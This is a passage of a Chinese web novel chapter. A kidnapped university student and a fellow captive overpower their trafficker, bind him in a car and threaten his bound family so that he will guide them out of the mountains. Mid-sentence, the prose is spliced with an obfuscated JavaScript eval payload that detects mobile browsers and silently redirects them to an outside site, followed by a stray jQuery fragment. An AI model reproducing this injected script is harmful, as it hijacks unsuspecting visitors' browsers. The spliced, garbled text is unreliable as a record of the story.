阮时雨被关在暗无天日的仓库,这两天下雨,雨水顺着屋顶的破洞滴答坠落,他就在唯一漏雨不太严重的角落蜷缩起身子,盖上两张带着腐臭味的破编织袋,低温和饥饿让他一直昏昏沉沉,时睡时醒。
他有时候惊悸而醒,茫然地望着昏暗模糊的破屋顶,和蜘蛛网上的大窟窿,仿佛种种这一切不过是一场梦,他真的在B市上过大学吗?又或者,他真的遇到过许延曦这个人吗?
“时雨!时雨!”
门口传来细碎又急促的呼唤,像耗子偷食般,轻得不敢惊动任何人。
阮时雨瞬间清醒,所有的恍惚都被驱散,手脚并用地往门口爬去,心脏怦怦直跳,几乎要撞出胸膛。
忘了从何时起,身体被驯化出一种本能的、感恩戴德的欣喜——只要毛庄丽来,就意味着他能拿到食物,能听到外面的动静,能感受到一丝活着的希望。
“庄丽姐,你来了!”阮时雨声音有些沙哑,却听得出他激动又急切。
毛庄丽站在门口,借着微弱的光亮,她似乎几不可察地笑了一下,但也可能是他的错觉罢。
今天她送来的食物比往常多了些,半块温热的窝头,还有一小把煮豆子。阮时雨心头一动,直觉告诉自己,他们或许马上就要行动了。
毛庄丽没多余的废话,语速极快:“他们今天都出去忙活了,就剩仨人,这是咱们唯一的机会,这次走不掉,下次再想逃,就不知道要等多久,甚至……再也没机会了。”
“好!”阮时雨想也不想立马答应,他再也无法忍受被困在这里的每分每秒。这些日子被困在暗无天日的仓库里,每一分每一秒都是煎熬,他再也无法忍受这种任人宰割、暗无天日的日子,哪怕前方是未知的危险,也比困在这里强。
“时雨,我知道你是城里人,还是大学生,在这种地方一定熬得难受。可我每天都在他们眼皮子底下过日子,稍不留意就是一顿毒打辱骂,有时候甚至连口饱饭都吃不上……你千万不要怪我,之前没能早点找机会带你逃。”
“庄丽姐,你别这么说,我应该谢谢你的。”阮时雨的心里瞬间泛起一阵愧疚,鼻尖发酸。比起毛庄丽以身犯险、日日受辱,他不过是躲在仓库里忍受饥饿和寒冷,又有什么资格抱怨,又有什么资格提及苦难?
“你说该怎么做,咱们才能逃出去?”
“现在就剩下‘疤猪’、‘偏瘫’,还有一个小孩。‘疤猪’是这家男人,‘偏瘫’是他妈,那小孩认识出山的路。我们先偷偷把他们的车开走,再逼小孩给我们指路,就能出去了。”
阮时雨不疑有他,俩人立马偷偷行动起来。
此刻正是中午,毛庄丽说,‘偏瘫’和‘疤猪’都在屋里睡觉,小孩则在后院玩,正是行动的最佳时机。
他们贴着墙根,小心翼翼地往后院挪,刚绕到墙角,就见那个小男孩拿着一个破旧的皮球,跑到墙根儿捡球,目光一扫,赫然瞥见了地上的人影,顿时张大嘴巴,大声尖叫起来:“爹!有人!”
屋里瞬间传来粗声粗气的呵斥:“赖毛!你瞎叫唤啥?找死嘞!”
情况危急,毛庄丽眼疾手快,一把捞住小男孩的脖子,另一只手死死罩住他的嘴巴,声音又急又轻:“赖毛,你闭嘴!听话,姐姐以后给你买糖吃,好不好?”她一边小声安抚,一边紧张地往院里张望,手心全是冷汗。
屋里的呵斥声没再响起,似乎只当作是小孩的恶作剧。
就在两人以为糊弄过去的时候,堂屋的门帘被猛地掀开,一个五大三粗的男人赫然走了出来——脸上带着一大块狰狞的疤痕,肚子圆滚滚的,正是“疤猪”。他手里还攥着一截粗粗的竹竿,眼神凶狠。
阮时雨心脏瞬间提到嗓子眼儿。
不止他们,“疤猪”也满脸惊愕,一双浑浊的眼睛死死盯着阮时雨,又看向神色紧绷的毛庄丽——一来,他没想到这个一向顺从、打不还手骂不还口的女人,竟然敢反抗;二来,他从未见过阮时雨这张生面孔,瞬间就反应过来,是外人闯进来了!
“狗娘养的!小贱人敢反水?还有你这个野小子,敢闯俺家!”
“疤猪”反应过来后,立马用嘶哑的嗓子骂出一串难懂的方言,抡起手里的竹竿,就朝着两人狠狠砸了过来,力道大得能砸断骨头。
而被毛庄丽按住的小男孩赖毛,此刻也变得贼精,趁着毛庄丽分神的间隙,猛地低下头,狠狠咬住了她的胳膊。
“啊——”毛庄丽疼得大叫一声,下意识地抬手去打赖毛的嘴巴,但后者就是不肯松口。
“躲开!”阮时雨见状,想也不想,立马冲到毛庄丽身前,挡在了她和“疤猪”之间,大声吼道。
竹竿狠狠抽在他的肋骨上,“咔嚓”一声轻响,钻心的疼痛瞬间蔓延开来,阮时雨疼得闷哼一声,却死死咬着牙,没有退缩。他伸手死死抓住竹竿,拼尽全力往后拽,一番拉扯后,终于把竹竿从“疤猪”手里抢了过来,用力扔到地上,发出“哐当”一声响。
这几天饿了太久,阮时雨浑身软绵绵的,力气早已透支,可肋骨上的剧痛、心底的愤怒,还有保护毛庄丽的决心,让他瞬间燃起一股狠劲。他猛地扑上去,抱住“疤猪”的腰,奋力一掀,竟硬生生把这个粗粗肥肥的男人摔到了地上。
“疤猪”发出一声杀猪似的嚎叫,肚子上一看就三高的肥肉抖了三抖,阮时雨喘着粗气,低头看着他,心想怪不得他叫“疤猪”呢。
他不敢耽搁,立马抬起一脚,死死踩在“疤猪”的肚子上,力道大得让“疤猪”喘不过气,动弹不得。
“别动!再动我踩断你的肋骨!”
“时雨,给你绳子,把他捆起来!”
毛庄丽刚才带着小孩离开,现在已经快步跑了回来,手里拿着一截粗麻绳,用力扔到阮时雨面前。
阮时雨一边弯腰,用绳子牢牢捆住“疤猪”的手脚,一边无意间瞥见了毛庄丽的胳膊——衣袖被撕开,一道深深的牙印嵌在皮肤上,特别多鲜血正顺着伤口往下淌,比看起来还要严重似的。他心里一紧,“庄丽姐,你要不要先处理一下?”
毛庄丽低头看了一眼胳膊上的伤口,居然还笑了一下:“没事,被那个小兔崽子咬的,都处理好了——先把他绑到车上,抓紧时间。”
阮时雨问:“不是说带那个小孩吗?”
毛庄丽脸上闪过一丝冷意,分析说:“那个小赖皮不诚实,刚才都答应闭嘴结果还咬了我,还是抓个脑子清醒的成年人更靠谱。”
阮时雨想想也有道理,此刻被捆住的“疤猪”还在不停挣扎,嘴里骂骂咧咧的。他能感觉到自己的体力在快速流失,不一定能长时间控制住“疤猪”,也急于找个地方把他固定好,便立马把“疤猪”塞进了副驾驶,用绳子牢牢绑在座椅上,让他动弹不得。
毛庄丽随后上车,找了一块破布,死死塞住“疤猪”的嘴巴,又加了一条绳子,系在他的脖子和车座之间,冷冷地说道:“别乱动,你要是敢挣扎,就会被勒住脖子。”这样一来,“疤猪”只能保持一个姿势,根本无法反抗。
“庄丽姐,那个小孩和那个老人怎么办?”阮时雨看着副驾驶上不停扭动的“疤猪”,轻声问道——他虽恨这些人拐卖人口、肆意施暴,但也做不到放任两个手无缚鸡之力的人不管。
听到这话,“疤猪”立马挣扎得更厉害了,眼睛瞪得通红,嘴里发出“呜呜”的抗议声。
“放心,我都把他们绑起来,扔到之前关你的那个仓库里了,暂时动不了。”
毛庄丽好似一瞬间反应过来阮时雨是意思是担心,然后转而冲他一笑,补充说:“别担心,我在他们身边放了水和食物。”
她说着,转头看向“疤猪”:“疤哥,我们也不想为难你,只要你乖乖给我们指路,带我们出山,等到了安全的地方,我们保证会放了你。可如果你执意不配合,或者故意带我们绕圈子拖延时间……”
“留下的食物可是会吃完的。猜猜那时候,你儿子和你娘,还能活下去吗?”
阮时雨听着这话,心里莫名一阵不寒而栗。他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485367|201973||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从未见过毛庄丽这般模样——冷静、狠厉,甚至带着几分算计,和平时那个浑身是伤、小心翼翼给她送食物的姑娘判若两人。可他也明白,在这样的绝境里,不狠下心,就无法活下去,毛庄丽的狠厉,不过是被这半年的苦难逼出来的。
“疤猪”听完沉默了一会儿,果然停止了挣扎。
毛庄丽满意地点点头,伸手扯下他嘴里的破布,“说,怎么走?”
“疤猪”张了张嘴,用生硬的方言嘀嘀咕咕说了几句,毛庄丽皱了皱眉,冷笑一声:“你做梦!让你开车?你是想往你同伙家开,把我们卖了吧?没门!”
她说着,转头看向阮时雨,笃定道:“时雨,你来开车。”
阮时雨咽咽口水,想说他不会,可看着毛庄丽那双满是信任、全然托付的眼睛,看着她胳膊上的伤口,看着副驾驶上虎视眈眈的“疤猪”,他到了嘴边的拒绝,终究还是咽了回去,赶鸭子上架地答应下来,“我试试。”
大概摸索了一遍车,回想以往看别人开车的样子,竟也无师自通地摸清了基本操作——挂挡、踩油门、打方向。山里的路崎岖不平,坑坑洼洼,也无需开得太快。
阮时雨开出一段路后,才慢慢说:“庄丽姐,其实我还没有驾驶证。”
毛庄丽笑了,语气轻松:“没事,这地方偏僻,没驾驶证也照常上路,没人管。前面那个山头,有个男的,也是同性恋,跟你一样,没驾驶证,还天天开着车来回卖苹果呢。”
“……”阮时雨突然一阵恶寒涌上心头。
原来那人不是想偷钱……
“不过他前阵子翻车,拉的苹果全被山里的人抢了,他拦不住,就急得气死了,”毛庄丽无所谓地说道,“朱家也抢回来不少——对了,前几天不是还给你带过一个吗。”
阮时雨想起来了,确实,前两天除了干馒头,还有一个小小的苹果。
他心里一阵复杂,默默想道:也好,他之前替人赔偿过苹果,就当是他吃下那颗付过钱了吧。
“他家姓朱吗?庄丽姐,能说说你的经历吗?”
“你们知识分子都心软,听不得这些苦,不说这些了。”
“时雨,说说你读书的事吧。我从来没读过大学,也没见过城里的学校,真想听听。”
“我,”阮时雨用余光看了眼被困起来的男人,留了心眼儿,不能说太细,省得日后被报复,“我高二的时候,其实就辍学了,那时候不懂事,不想读书,就去了别的地方打工,日子过得浑浑噩噩的。后来,我遇到了一位老师,她劝我继续念下去,然后我就又考了大学。”
阮时雨说完,脑海里逐渐浮现出贺老师严厉的表情,感觉自己讲述的故事和她本人竟出奇的相似。
冥冥之中,也连带感谢那位在人生岔路口,拉过她一把的乡村教师。
阮时雨觉得自己讲得平淡无奇,没什么意思,可毛庄丽却听得格外认真,眼睛一眨不眨地看着他,脸上满是羡慕,忍不住感慨道:“你真是太幸运了,能遇到这样一位好老师。时雨,等我们逃出去,我能见见她吗?”
阮时雨笑了:“当然可以。”
“太好了!”毛庄丽笑得像个满怀期待的少女,眼里闪烁着光芒,所有的苦难和疲惫,仿佛都在这一刻烟消云散,满心都是对未来的畅想。
这时,副驾驶上的“疤猪”突然呜哩哇啦地说了一句,语气很不耐烦。
毛庄丽瞬间收起笑容,侧头瞪了他一眼,转头对阮时雨说道:“他说,前面走到尽头,左拐,再直走十几里路,就能到主路了。”
她说着,又看向阮时雨,眼神里的期待愈发浓烈,轻声畅想道,“时雨,等我们到了主路,离开这个鬼地方,我们就自由了。到时候,我想找一份工作,好好赚钱,也想试着读读书,像你一样……”
在她温柔又富有感染力的描述中,阮时雨能感觉到,逃亡的希望,正在一点点靠近。
可“疤猪”乱七八糟的方言里,好似夹杂着一句“婆娘”,阮时雨不太确定。